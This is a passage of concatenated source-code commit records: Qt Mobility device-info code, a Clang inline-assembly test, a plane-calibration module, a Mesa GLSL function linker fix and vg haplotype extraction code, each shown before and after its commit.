if (DeviceInfo::instance()->batteryInfo()->batteryLevel() < 100) { //TODO: Use real indicator, EPSHWRMChargingStatus::EChargingStatusNotCharging?
return QSystemDeviceInfo::WallPowerChargingBattery;
} else {
return QSystemDeviceInfo::WallPower;
}
return QSystemDeviceInfo::WallPower;
}
case CTelephony::ENoBatteryConnected:
return QSystemDeviceInfo::WallPower;
case CTelephony::EPowerFault:
case CTelephony::EPowerStatusUnknown:
default:
return QSystemDeviceInfo::UnknownPower;
}
}
QString QSystemDeviceInfoPrivate::imei()
{
return DeviceInfo::instance()->phoneInfo()->imei();
}
QString QSystemDeviceInfoPrivate::imsi()
{
return DeviceInfo::instance()->subscriberInfo()->imsi();
}
QString QSystemDeviceInfoPrivate::manufacturer()
{
return DeviceInfo::instance()->phoneInfo()->manufacturer();
}
QString QSystemDeviceInfoPrivate::model()
{
return DeviceInfo::instance()->phoneInfo()->model();
}
QString QSystemDeviceInfoPrivate::productName()
{
QString productname;
TBuf<KSysUtilVersionTextLength> versionBuf;
if (SysUtil::GetSWVersion(versionBuf) == KErrNone) {
productname = QString::fromUtf16(versionBuf.Ptr(), versionBuf.Length());
}
return productname.split("\n").at(2);
}
int QSystemDeviceInfoPrivate::batteryLevel() const
{
return DeviceInfo::instance()->batteryInfo()->batteryLevel();
}
QSystemDeviceInfo::BatteryStatus QSystemDeviceInfoPrivate::batteryStatus()
{
//TODO: To be moved in QSystemDeviceInfo?
int batteryLevel = DeviceInfo::instance()->batteryInfo()->batteryLevel();
if(batteryLevel < 4) {
return QSystemDeviceInfo::BatteryCritical;
} else if (batteryLevel < 11) {
return QSystemDeviceInfo::BatteryVeryLow;
} else if (batteryLevel < 41) {
return QSystemDeviceInfo::BatteryLow;
} else if (batteryLevel > 40) {
return QSystemDeviceInfo::BatteryNormal;
}
return QSystemDeviceInfo::NoBatteryLevel;
}
QSystemDeviceInfo::SimStatus QSystemDeviceInfoPrivate::simStatus()
{
return QSystemDeviceInfo::SimNotAvailable; //TODO
}
bool QSystemDeviceInfoPrivate::isDeviceLocked()
{
return false; //TODO
}
void QSystemDeviceInfoPrivate::batteryLevelChanged()
{
emit batteryLevelChanged(batteryLevel());
int batteryLevel = DeviceInfo::instance()->batteryInfo()->batteryLevel();
QSystemDeviceInfo::BatteryStatus status(batteryStatus());
if(batteryLevel < 4 && status != QSystemDeviceInfo::BatteryCritical) {
emit batteryStatusChanged(QSystemDeviceInfo::BatteryCritical);
} else if (batteryLevel < 11 && status != QSystemDeviceInfo::BatteryVeryLow) {
emit batteryStatusChanged(QSystemDeviceInfo::BatteryVeryLow);
} else if (batteryLevel < 41 && status != QSystemDeviceInfo::BatteryLow) {
emit batteryStatusChanged(QSystemDeviceInfo::BatteryLow);
} else if (batteryLevel > 40 && status != QSystemDeviceInfo::BatteryNormal) {
emit batteryStatusChanged(QSystemDeviceInfo::BatteryNormal);
} else {
emit batteryStatusChanged(QSystemDeviceInfo::NoBatteryLevel);
}
}
void QSystemDeviceInfoPrivate::powerStateChanged()
{
emit powerStateChanged(currentPowerState());
}
DeviceInfo *DeviceInfo::m_instance = NULL;
//////// QSystemScreenSaver
QSystemScreenSaverPrivate::QSystemScreenSaverPrivate(QObject *parent)
: QObject(parent)
{
}
QT_END_NAMESPACE
<|endoftext|> |
<commit_before>// REQUIRES: x86-64-registered-target
// RUN: %clang_cc1 -x c++ %s -triple i386-apple-darwin10 -O0 -fasm-blocks -emit-llvm -o - | FileCheck %s
struct Foo {
static int *ptr;
static int a, b;
struct Bar {
static int *ptr;
};
};
void t1() {
Foo::ptr = (int *)0xDEADBEEF;
Foo::Bar::ptr = (int *)0xDEADBEEF;
__asm mov eax, Foo::ptr
__asm mov eax, Foo::Bar::ptr
__asm mov eax, [Foo::ptr]
__asm mov eax, dword ptr [Foo::ptr]
__asm mov eax, dword ptr [Foo::ptr]
// CHECK: @_Z2t1v
// CHECK: call void asm sideeffect inteldialect "mov eax, Foo::ptr", "~{eax},~{dirflag},~{fpsr},~{flags}"()
// CHECK: call void asm sideeffect inteldialect "mov eax, Foo::Bar::ptr", "~{eax},~{dirflag},~{fpsr},~{flags}"()
// CHECK: call void asm sideeffect inteldialect "mov eax, Foo::ptr", "~{eax},~{dirflag},~{fpsr},~{flags}"()
// CHECK: call void asm sideeffect inteldialect "mov eax, dword ptr Foo::ptr", "~{eax},~{dirflag},~{fpsr},~{flags}"()
// CHECK: call void asm sideeffect inteldialect "mov eax, dword ptr Foo::ptr", "~{eax},~{dirflag},~{fpsr},~{flags}"()
}
int gvar = 10;
void t2() {
int lvar = 10;
__asm mov eax, offset Foo::ptr
__asm mov eax, offset Foo::Bar::ptr
// CHECK: t2
// CHECK: call void asm sideeffect inteldialect "mov eax, Foo::ptr", "~{eax},~{dirflag},~{fpsr},~{flags}"()
// CHECK: call void asm sideeffect inteldialect "mov eax, Foo::Bar::ptr", "~{eax},~{dirflag},~{fpsr},~{flags}"()
}
<commit_msg>Add test case for r179343.<commit_after>// REQUIRES: x86-64-registered-target
// RUN: %clang_cc1 -x c++ %s -triple i386-apple-darwin10 -O0 -fasm-blocks -emit-llvm -o - | FileCheck %s
struct Foo {
static int *ptr;
static int a, b;
int arr[4];
struct Bar {
static int *ptr;
char arr[2];
};
};
void t1() {
Foo::ptr = (int *)0xDEADBEEF;
Foo::Bar::ptr = (int *)0xDEADBEEF;
__asm mov eax, Foo::ptr
__asm mov eax, Foo::Bar::ptr
__asm mov eax, [Foo::ptr]
__asm mov eax, dword ptr [Foo::ptr]
__asm mov eax, dword ptr [Foo::ptr]
// CHECK: @_Z2t1v
// CHECK: call void asm sideeffect inteldialect "mov eax, Foo::ptr", "~{eax},~{dirflag},~{fpsr},~{flags}"()
// CHECK: call void asm sideeffect inteldialect "mov eax, Foo::Bar::ptr", "~{eax},~{dirflag},~{fpsr},~{flags}"()
// CHECK: call void asm sideeffect inteldialect "mov eax, Foo::ptr", "~{eax},~{dirflag},~{fpsr},~{flags}"()
// CHECK: call void asm sideeffect inteldialect "mov eax, dword ptr Foo::ptr", "~{eax},~{dirflag},~{fpsr},~{flags}"()
// CHECK: call void asm sideeffect inteldialect "mov eax, dword ptr Foo::ptr", "~{eax},~{dirflag},~{fpsr},~{flags}"()
}
int gvar = 10;
void t2() {
int lvar = 10;
__asm mov eax, offset Foo::ptr
__asm mov eax, offset Foo::Bar::ptr
// CHECK: t2
// CHECK: call void asm sideeffect inteldialect "mov eax, Foo::ptr", "~{eax},~{dirflag},~{fpsr},~{flags}"()
// CHECK: call void asm sideeffect inteldialect "mov eax, Foo::Bar::ptr", "~{eax},~{dirflag},~{fpsr},~{flags}"()
}
void t3() {
__asm mov eax, LENGTH Foo::ptr
__asm mov eax, LENGTH Foo::Bar::ptr
__asm mov eax, LENGTH Foo::arr
__asm mov eax, LENGTH Foo::Bar::arr
__asm mov eax, TYPE Foo::ptr
__asm mov eax, TYPE Foo::Bar::ptr
__asm mov eax, TYPE Foo::arr
__asm mov eax, TYPE Foo::Bar::arr
__asm mov eax, SIZE Foo::ptr
__asm mov eax, SIZE Foo::Bar::ptr
__asm mov eax, SIZE Foo::arr
__asm mov eax, SIZE Foo::Bar::arr
// CHECK: t3
// FIXME: These tests just make sure we can parse things properly.
// Additional work needs to be done in Sema to perform the lookup.
}
<|endoftext|> |
<commit_before>#include "plane_calibration/planes.hpp"
#include <cmath>
#include <iostream>
namespace plane_calibration
{
Planes::Planes(const CalibrationParameters::Parameters& parameters, const PlaneToDepthImage& plane_to_depth) :
plane_to_depth_(plane_to_depth)
{
pair_count_ = parameters.precomputed_plane_pairs_count_;
max_deviation_ = parameters.max_deviation_;
translation_ = Eigen::Translation3d(parameters.ground_plane_offset_);
base_rotation_ = parameters.rotation_;
makePlanes();
}
void Planes::makePlanes()
{
// max_deviation_ * 2 for plus / minus
double angle_step_size = max_deviation_ / pair_count_;
double angle = max_deviation_;
for (int i = 0; i < pair_count_; ++i)
{
if (angle == 0.0)
{
continue;
}
addPlanePairs(angle);
angle -= angle_step_size;
}
}
void Planes::addPlanePairs(const double& angle)
{
addPlanes(angle);
addPlanes(-angle);
}
void Planes::addPlanes(const double& angle)
{
Eigen::Vector2d angles_x(angle, 0.0);
MatrixPlanePtr plane_x = std::make_shared<Eigen::MatrixXf>(makePlane(angles_x));
x_planes_.insert(std::pair<double, MatrixPlanePtr>(angle, plane_x));
Eigen::Vector2d angles_y(0.0, angle);
MatrixPlanePtr plane_y = std::make_shared<Eigen::MatrixXf>(makePlane(angles_y));
y_planes_.insert(std::pair<double, MatrixPlanePtr>(angle, plane_y));
}
Eigen::MatrixXf Planes::makePlane(const Eigen::Vector2d& angles)
{
Eigen::AngleAxisd tilt_x(angles.x(), Eigen::Vector3d::UnitX());
Eigen::AngleAxisd tilt_y(angles.y(), Eigen::Vector3d::UnitY());
Eigen::Affine3d transform = translation_ * base_rotation_ * tilt_x * tilt_y;
return plane_to_depth_.convert(transform);
}
std::pair<MatrixPlanePtr, MatrixPlanePtr> Planes::getFittingXTiltPlanes(const double& angle, const double& deviation)
{
return getFittingTiltPlanes(x_planes_, angle, deviation);
}
std::pair<MatrixPlanePtr, MatrixPlanePtr> Planes::getFittingYTiltPlanes(const double& angle, const double& deviation)
{
return getFittingTiltPlanes(y_planes_, angle, deviation);
}
std::pair<MatrixPlanePtr, MatrixPlanePtr> Planes::getFittingTiltPlanes(const std::map<double, MatrixPlanePtr>& planes,
const double& angle, const double& deviation)
{
std::pair<double, double> plane_indicies = getDeviationPlaneKeys(angle, deviation);
MatrixPlanePtr first = planes.at(plane_indicies.first);
MatrixPlanePtr second = planes.at(plane_indicies.second);
return std::pair<MatrixPlanePtr, MatrixPlanePtr>(first, second);
}
std::pair<double, double> Planes::getDeviationPlaneKeys(const double& angle, const double& deviation)
{
double upper_angle = angle + deviation;
double lower_angle = angle - deviation;
auto upper_it = x_planes_.lower_bound(upper_angle); //maybe confusing, see official docu
auto lower_it = x_planes_.lower_bound(lower_angle);
--lower_it; //take the value lower than this
if (upper_it == x_planes_.end())
{
upper_it = x_planes_.begin();
}
if (lower_it == x_planes_.end())
{
--lower_it;
}
return std::make_pair(upper_it->first, lower_it->first);
}
} /* end namespace */
<commit_msg>Planes: Add buffer multiplier to make it work at deviation borders<commit_after>#include "plane_calibration/planes.hpp"
#include <cmath>
#include <iostream>
namespace plane_calibration
{
Planes::Planes(const CalibrationParameters::Parameters& parameters, const PlaneToDepthImage& plane_to_depth) :
plane_to_depth_(plane_to_depth)
{
pair_count_ = parameters.precomputed_plane_pairs_count_;
max_deviation_ = parameters.max_deviation_;
translation_ = Eigen::Translation3d(parameters.ground_plane_offset_);
base_rotation_ = parameters.rotation_;
makePlanes();
}
void Planes::makePlanes()
{
// When fitting a plane close to the max deviation we have to have
// some planes outside the max deviation borders
double buffer_multiplier = 2.2;
double angle_step_size = max_deviation_ * buffer_multiplier / pair_count_;
double angle = max_deviation_ * buffer_multiplier;
for (int i = 0; i < pair_count_; ++i)
{
addPlanePairs(angle);
angle -= angle_step_size;
}
addPlanes(0.0);
}
void Planes::addPlanePairs(const double& angle)
{
addPlanes(angle);
addPlanes(-angle);
}
void Planes::addPlanes(const double& angle)
{
Eigen::Vector2d angles_x(angle, 0.0);
MatrixPlanePtr plane_x = std::make_shared<Eigen::MatrixXf>(makePlane(angles_x));
x_planes_.insert(std::pair<double, MatrixPlanePtr>(angle, plane_x));
Eigen::Vector2d angles_y(0.0, angle);
MatrixPlanePtr plane_y = std::make_shared<Eigen::MatrixXf>(makePlane(angles_y));
y_planes_.insert(std::pair<double, MatrixPlanePtr>(angle, plane_y));
}
Eigen::MatrixXf Planes::makePlane(const Eigen::Vector2d& angles)
{
Eigen::AngleAxisd tilt_x(angles.x(), Eigen::Vector3d::UnitX());
Eigen::AngleAxisd tilt_y(angles.y(), Eigen::Vector3d::UnitY());
Eigen::Affine3d transform = translation_ * base_rotation_ * tilt_x * tilt_y;
return plane_to_depth_.convert(transform);
}
std::pair<MatrixPlanePtr, MatrixPlanePtr> Planes::getFittingXTiltPlanes(const double& angle, const double& deviation)
{
return getFittingTiltPlanes(x_planes_, angle, deviation);
}
std::pair<MatrixPlanePtr, MatrixPlanePtr> Planes::getFittingYTiltPlanes(const double& angle, const double& deviation)
{
return getFittingTiltPlanes(y_planes_, angle, deviation);
}
std::pair<MatrixPlanePtr, MatrixPlanePtr> Planes::getFittingTiltPlanes(const std::map<double, MatrixPlanePtr>& planes,
const double& angle, const double& deviation)
{
std::pair<double, double> plane_indicies = getDeviationPlaneKeys(angle, deviation);
MatrixPlanePtr first = planes.at(plane_indicies.first);
MatrixPlanePtr second = planes.at(plane_indicies.second);
return std::pair<MatrixPlanePtr, MatrixPlanePtr>(first, second);
}
std::pair<double, double> Planes::getDeviationPlaneKeys(const double& angle, const double& deviation)
{
double upper_angle = angle + deviation;
double lower_angle = angle - deviation;
auto upper_it = x_planes_.lower_bound(upper_angle); //maybe confusing, see official docu
auto lower_it = x_planes_.lower_bound(lower_angle);
--lower_it; //take the value lower than this
if (upper_it == x_planes_.end())
{
upper_it = x_planes_.begin();
}
if (lower_it == x_planes_.end())
{
--lower_it;
}
return std::make_pair(upper_it->first, lower_it->first);
}
} /* end namespace */
<|endoftext|> |
<commit_before>/*
* Copyright © 2010 Intel Corporation
*
* Permission is hereby granted, free of charge, to any person obtaining a
* copy of this software and associated documentation files (the "Software"),
* to deal in the Software without restriction, including without limitation
* the rights to use, copy, modify, merge, publish, distribute, sublicense,
* and/or sell copies of the Software, and to permit persons to whom the
* Software is furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice (including the next
* paragraph) shall be included in all copies or substantial portions of the
* Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL
* THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
* FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER
* DEALINGS IN THE SOFTWARE.
*/
#include <cstdlib>
#include <cstdio>
#include <cstdarg>
extern "C" {
#include <talloc.h>
}
#include "main/mtypes.h"
#include "glsl_symbol_table.h"
#include "glsl_parser_extras.h"
#include "ir.h"
#include "program.h"
#include "hash_table.h"
#include "linker.h"
static ir_function_signature *
find_matching_signature(const char *name, const exec_list *actual_parameters,
gl_shader **shader_list, unsigned num_shaders);
class call_link_visitor : public ir_hierarchical_visitor {
public:
call_link_visitor(gl_shader_program *prog, gl_shader **shader_list,
unsigned num_shaders)
{
this->prog = prog;
this->shader_list = shader_list;
this->num_shaders = num_shaders;
this->success = true;
}
virtual ir_visitor_status visit_enter(ir_call *ir)
{
/* If the function call references a function signature that does not
* have a definition, try to find the definition in one of the other
* shaders.
*/
ir_function_signature *callee =
const_cast<ir_function_signature *>(ir->get_callee());
assert(callee != NULL);
if (callee->is_defined)
/* FINISHME: Do children need to be processed, or are all parameters
* FINISHME: with function calls already flattend?
*/
return visit_continue;
const char *const name = callee->function_name();
ir_function_signature *sig =
find_matching_signature(name, &ir->actual_parameters, shader_list,
num_shaders);
if (sig == NULL) {
/* FINISHME: Log the full signature of unresolved function.
*/
linker_error_printf(this->prog, "unresolved reference to function "
"`%s'\n", name);
this->success = false;
return visit_stop;
}
/* Create an in-place clone of the function definition. This multistep
* process introduces some complexity here, but it has some advantages.
* The parameter list and the and function body are cloned separately.
* The clone of the parameter list is used to prime the hashtable used
* to replace variable references in the cloned body.
*
* The big advantage is that the ir_function_signature does not change.
* This means that we don't have to process the rest of the IR tree to
* patch ir_call nodes. In addition, there is no way to remove or replace
* signature stored in a function. One could easily be added, but this
* avoids the need.
*/
struct hash_table *ht = hash_table_ctor(0, hash_table_pointer_hash,
hash_table_pointer_compare);
exec_list formal_parameters;
foreach_list_const(node, &sig->parameters) {
const ir_instruction *const original = (ir_instruction *) node;
assert(const_cast<ir_instruction *>(original)->as_variable());
ir_instruction *copy = original->clone(ht);
formal_parameters.push_tail(copy);
}
callee->replace_parameters(&formal_parameters);
assert(callee->body.is_empty());
foreach_list_const(node, &sig->body) {
const ir_instruction *const original = (ir_instruction *) node;
ir_instruction *copy = original->clone(ht);
callee->body.push_tail(copy);
}
callee->is_defined = true;
/* FINISHME: Patch references inside the function to things outside the
* FINISHME: function (i.e., function calls and global variables).
*/
hash_table_dtor(ht);
return visit_continue;
}
/** Was function linking successful? */
bool success;
private:
/**
* Shader program being linked
*
* This is only used for logging error messages.
*/
gl_shader_program *prog;
/** List of shaders available for linking. */
gl_shader **shader_list;
/** Number of shaders available for linking. */
unsigned num_shaders;
};
/**
* Searches a list of shaders for a particular function definition
*/
ir_function_signature *
find_matching_signature(const char *name, const exec_list *actual_parameters,
gl_shader **shader_list, unsigned num_shaders)
{
for (unsigned i = 0; i < num_shaders; i++) {
ir_function *const f = shader_list[i]->symbols->get_function(name);
if (f == NULL)
continue;
ir_function_signature *sig = f->matching_signature(actual_parameters);
if ((sig == NULL) || !sig->is_defined)
continue;
return sig;
}
return NULL;
}
bool
link_function_calls(gl_shader_program *prog, gl_shader *main,
gl_shader **shader_list, unsigned num_shaders)
{
call_link_visitor v(prog, shader_list, num_shaders);
v.run(main->ir);
return v.success;
}
<commit_msg>linker: look up function signatures during linking instead of using callee<commit_after>/*
* Copyright © 2010 Intel Corporation
*
* Permission is hereby granted, free of charge, to any person obtaining a
* copy of this software and associated documentation files (the "Software"),
* to deal in the Software without restriction, including without limitation
* the rights to use, copy, modify, merge, publish, distribute, sublicense,
* and/or sell copies of the Software, and to permit persons to whom the
* Software is furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice (including the next
* paragraph) shall be included in all copies or substantial portions of the
* Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL
* THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
* FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER
* DEALINGS IN THE SOFTWARE.
*/
#include <cstdlib>
#include <cstdio>
#include <cstdarg>
extern "C" {
#include <talloc.h>
}
#include "main/mtypes.h"
#include "glsl_symbol_table.h"
#include "glsl_parser_extras.h"
#include "ir.h"
#include "program.h"
#include "hash_table.h"
#include "linker.h"
static ir_function_signature *
find_matching_signature(const char *name, const exec_list *actual_parameters,
gl_shader **shader_list, unsigned num_shaders);
class call_link_visitor : public ir_hierarchical_visitor {
public:
call_link_visitor(gl_shader_program *prog, gl_shader *linked,
gl_shader **shader_list, unsigned num_shaders)
{
this->prog = prog;
this->shader_list = shader_list;
this->num_shaders = num_shaders;
this->success = true;
this->linked = linked;
}
virtual ir_visitor_status visit_enter(ir_call *ir)
{
/* If ir is an ir_call from a function that was imported from another
* shader callee will point to an ir_function_signature in the original
* shader. In this case the function signature MUST NOT BE MODIFIED.
* Doing so will modify the original shader. This may prevent that
* shader from being linkable in other programs.
*/
const ir_function_signature *const callee = ir->get_callee();
assert(callee != NULL);
const char *const name = callee->function_name();
/* Determine if the requested function signature already exists in the
* final linked shader. If it does, use it as the target of the call.
*/
ir_function_signature *sig =
find_matching_signature(name, &callee->parameters, &linked, 1);
if (sig != NULL) {
ir->set_callee(sig);
return visit_continue;
}
/* Try to find the signature in one of the other shaders that is being
* linked. If it's not found there, return an error.
*/
sig = find_matching_signature(name, &ir->actual_parameters, shader_list,
num_shaders);
if (sig == NULL) {
/* FINISHME: Log the full signature of unresolved function.
*/
linker_error_printf(this->prog, "unresolved reference to function "
"`%s'\n", name);
this->success = false;
return visit_stop;
}
/* Find the prototype information in the linked shader. Generate any
* details that may be missing.
*/
ir_function *f = linked->symbols->get_function(name);
if (f == NULL)
f = new(linked) ir_function(name);
ir_function_signature *linked_sig =
f->matching_signature(&callee->parameters);
if (linked_sig == NULL) {
linked_sig = new(linked) ir_function_signature(callee->return_type);
f->add_signature(linked_sig);
}
/* At this point linked_sig and called may be the same. If ir is an
* ir_call from linked then linked_sig and callee will be
* ir_function_signatures that have no definitions (is_defined is false).
*/
assert(!linked_sig->is_defined);
assert(linked_sig->body.is_empty());
/* Create an in-place clone of the function definition. This multistep
* process introduces some complexity here, but it has some advantages.
* The parameter list and the and function body are cloned separately.
* The clone of the parameter list is used to prime the hashtable used
* to replace variable references in the cloned body.
*
* The big advantage is that the ir_function_signature does not change.
* This means that we don't have to process the rest of the IR tree to
* patch ir_call nodes. In addition, there is no way to remove or
* replace signature stored in a function. One could easily be added,
* but this avoids the need.
*/
struct hash_table *ht = hash_table_ctor(0, hash_table_pointer_hash,
hash_table_pointer_compare);
exec_list formal_parameters;
foreach_list_const(node, &sig->parameters) {
const ir_instruction *const original = (ir_instruction *) node;
assert(const_cast<ir_instruction *>(original)->as_variable());
ir_instruction *copy = original->clone(ht);
formal_parameters.push_tail(copy);
}
linked_sig->replace_parameters(&formal_parameters);
foreach_list_const(node, &sig->body) {
const ir_instruction *const original = (ir_instruction *) node;
ir_instruction *copy = original->clone(ht);
linked_sig->body.push_tail(copy);
}
linked_sig->is_defined = true;
/* FINISHME: Patch references inside the function to things outside the
* FINISHME: function (i.e., function calls and global variables).
*/
hash_table_dtor(ht);
return visit_continue;
}
/** Was function linking successful? */
bool success;
private:
/**
* Shader program being linked
*
* This is only used for logging error messages.
*/
gl_shader_program *prog;
/** List of shaders available for linking. */
gl_shader **shader_list;
/** Number of shaders available for linking. */
unsigned num_shaders;
/**
* Final linked shader
*
* This is used two ways. It is used to find global variables in the
* linked shader that are accessed by the function. It is also used to add
* global variables from the shader where the function originated.
*/
gl_shader *linked;
};
/**
* Searches a list of shaders for a particular function definition
*/
ir_function_signature *
find_matching_signature(const char *name, const exec_list *actual_parameters,
gl_shader **shader_list, unsigned num_shaders)
{
for (unsigned i = 0; i < num_shaders; i++) {
ir_function *const f = shader_list[i]->symbols->get_function(name);
if (f == NULL)
continue;
ir_function_signature *sig = f->matching_signature(actual_parameters);
if ((sig == NULL) || !sig->is_defined)
continue;
return sig;
}
return NULL;
}
bool
link_function_calls(gl_shader_program *prog, gl_shader *main,
gl_shader **shader_list, unsigned num_shaders)
{
call_link_visitor v(prog, main, shader_list, num_shaders);
v.run(main->ir);
return v.success;
}
<|endoftext|> |
<commit_before>#include <iostream>
#include "vg.hpp"
#include "haplotype_extracter.hpp"
#include "json2pb.h"
#include "xg.hpp"
using namespace std;
using namespace vg;
void trace_haplotypes_and_paths(xg::XG& index,
vg::id_t start_node, int extend_distance,
Graph& out_graph,
map<string, int>& out_thread_frequencies,
bool expand_graph) {
// get our haplotypes
xg::XG::ThreadMapping n = {start_node, false};
vector<pair<thread_t,int> > haplotypes = list_haplotypes(index, n, extend_distance);
if (expand_graph) {
// get our subgraph and "regular" paths by expanding forward
*out_graph.add_node() = index.node(start_node);
index.expand_context(out_graph, extend_distance, true, true, true, false);
}
// add a frequency of 1 for each normal path
for (int i = 0; i < out_graph.path_size(); ++i) {
out_thread_frequencies[out_graph.path(i).name()] = 1;
}
// add our haplotypes to the subgraph, naming ith haplotype "thread_i"
for (int i = 0; i < haplotypes.size(); ++i) {
Path p = path_from_thread_t(haplotypes[i].first);
p.set_name("thread_" + to_string(i));
*(out_graph.add_path()) = move(p);
out_thread_frequencies[p.name()] = haplotypes[i].second;
}
}
void output_haplotype_counts(ostream& annotation_ostream,
vector<pair<thread_t,int>>& haplotype_list, xg::XG& index) {
for(int i = 0; i < haplotype_list.size(); i++) {
annotation_ostream << i << "\t" << haplotype_list[i].second << endl;
}
}
Graph output_graph_with_embedded_paths(vector<pair<thread_t,int>>& haplotype_list, xg::XG& index) {
Graph g;
set<int64_t> nodes;
set<pair<int,int> > edges;
for(int i = 0; i < haplotype_list.size(); i++) {
add_thread_nodes_to_set(haplotype_list[i].first, nodes);
add_thread_edges_to_set(haplotype_list[i].first, edges);
}
construct_graph_from_nodes_and_edges(g, index, nodes, edges);
for(int i = 0; i < haplotype_list.size(); i++) {
Path p = path_from_thread_t(haplotype_list[i].first);
p.set_name(to_string(i));
*(g.add_path()) = move(p);
}
return g;
}
void output_graph_with_embedded_paths(ostream& subgraph_ostream,
vector<pair<thread_t,int>>& haplotype_list, xg::XG& index, bool json) {
Graph g = output_graph_with_embedded_paths(haplotype_list, index);
if (json) {
subgraph_ostream << pb2json(g);
} else {
VG subgraph;
subgraph.extend(g);
subgraph.serialize_to_ostream(subgraph_ostream);
}
}
void thread_to_graph_spanned(thread_t& t, Graph& g, xg::XG& index) {
set<int64_t> nodes;
set<pair<int,int> > edges;
nodes.insert(t[0].node_id);
for(int i = 1; i < t.size(); i++) {
nodes.insert(t[i].node_id);
edges.insert(make_pair(xg::make_side(t[i-1].node_id,t[i-1].is_reverse),
xg::make_side(t[i].node_id,t[i].is_reverse)));
}
for (auto& n : nodes) {
*g.add_node() = index.node(n);
}
for (auto& e : edges) {
Edge edge;
edge.set_from(xg::side_id(e.first));
edge.set_from_start(xg::side_is_end(e.first));
edge.set_to(xg::side_id(e.second));
edge.set_to_end(xg::side_is_end(e.second));
*g.add_edge() = edge;
}
}
void add_thread_nodes_to_set(thread_t& t, set<int64_t>& nodes) {
for(int i = 0; i < t.size(); i++) {
nodes.insert(t[i].node_id);
}
}
void add_thread_edges_to_set(thread_t& t, set<pair<int,int> >& edges) {
for(int i = 1; i < t.size(); i++) {
edges.insert(make_pair(xg::make_side(t[i-1].node_id,t[i-1].is_reverse),
xg::make_side(t[i].node_id,t[i].is_reverse)));
}
}
void construct_graph_from_nodes_and_edges(Graph& g, xg::XG& index,
set<int64_t>& nodes, set<pair<int,int> >& edges) {
for (auto& n : nodes) {
*g.add_node() = index.node(n);
}
for (auto& e : edges) {
Edge edge;
edge.set_from(xg::side_id(e.first));
edge.set_from_start(xg::side_is_end(e.first));
edge.set_to(xg::side_id(e.second));
edge.set_to_end(xg::side_is_end(e.second));
*g.add_edge() = edge;
}
}
Path path_from_thread_t(thread_t& t) {
Path toReturn;
int rank = 1;
for(int i = 0; i < t.size(); i++) {
Mapping* mapping = toReturn.add_mapping();
// Set up the position
mapping->mutable_position()->set_node_id(t[i].node_id);
mapping->mutable_position()->set_is_reverse(t[i].is_reverse);
// Set the rank
mapping->set_rank(rank++);
}
// We're done making the path
return toReturn;
}
vector<pair<thread_t,int> > list_haplotypes(xg::XG& index,
xg::XG::ThreadMapping start_node, int extend_distance) {
vector<pair<thread_t,xg::XG::ThreadSearchState> > search_intermediates;
vector<pair<thread_t,int> > search_results;
thread_t first_thread = {start_node};
xg::XG::ThreadSearchState first_state;
index.extend_search(first_state,first_thread);
vector<Edge> edges = start_node.is_reverse ?
index.edges_on_start(start_node.node_id) :
index.edges_on_end(start_node.node_id);
for(int i = 0; i < edges.size(); i++) {
xg::XG::ThreadMapping next_node;
next_node.node_id = edges[i].to();
next_node.is_reverse = edges[i].to_end();
xg::XG::ThreadSearchState new_state = first_state;
thread_t t = {next_node};
index.extend_search(new_state, t);
thread_t new_thread = first_thread;
new_thread.push_back(next_node);
if(!new_state.is_empty()) {
search_intermediates.push_back(make_pair(new_thread,new_state));
}
}
while(search_intermediates.size() > 0) {
pair<thread_t,xg::XG::ThreadSearchState> last = search_intermediates.back();
search_intermediates.pop_back();
int check_size = search_intermediates.size();
vector<Edge> edges = last.first.back().is_reverse ?
index.edges_on_start(last.first.back().node_id) :
index.edges_on_end(last.first.back().node_id);
if(edges.size() == 0) {
search_results.push_back(make_pair(last.first,last.second.count()));
} else {
for(int i = 0; i < edges.size(); i++) {
xg::XG::ThreadMapping next_node;
next_node.node_id = edges[i].to();
next_node.is_reverse = edges[i].to_end();
xg::XG::ThreadSearchState new_state = last.second;
thread_t next_thread = {next_node};
index.extend_search(new_state,next_thread);
thread_t new_thread = last.first;
new_thread.push_back(next_node);
if(!new_state.is_empty()) {
if(new_thread.size() >= extend_distance) {
search_results.push_back(make_pair(new_thread,new_state.count()));
} else {
search_intermediates.push_back(make_pair(new_thread,new_state));
}
}
}
if(check_size == search_intermediates.size() &&
last.first.size() < extend_distance - 1) {
search_results.push_back(make_pair(last.first,last.second.count()));
}
}
}
return search_results;
}
<commit_msg>fix thread frequencies annotation output in vg chunk<commit_after>#include <iostream>
#include "vg.hpp"
#include "haplotype_extracter.hpp"
#include "json2pb.h"
#include "xg.hpp"
using namespace std;
using namespace vg;
void trace_haplotypes_and_paths(xg::XG& index,
vg::id_t start_node, int extend_distance,
Graph& out_graph,
map<string, int>& out_thread_frequencies,
bool expand_graph) {
// get our haplotypes
xg::XG::ThreadMapping n = {start_node, false};
vector<pair<thread_t,int> > haplotypes = list_haplotypes(index, n, extend_distance);
if (expand_graph) {
// get our subgraph and "regular" paths by expanding forward
*out_graph.add_node() = index.node(start_node);
index.expand_context(out_graph, extend_distance, true, true, true, false);
}
// add a frequency of 1 for each normal path
for (int i = 0; i < out_graph.path_size(); ++i) {
out_thread_frequencies[out_graph.path(i).name()] = 1;
}
// add our haplotypes to the subgraph, naming ith haplotype "thread_i"
for (int i = 0; i < haplotypes.size(); ++i) {
Path p = path_from_thread_t(haplotypes[i].first);
p.set_name("thread_" + to_string(i));
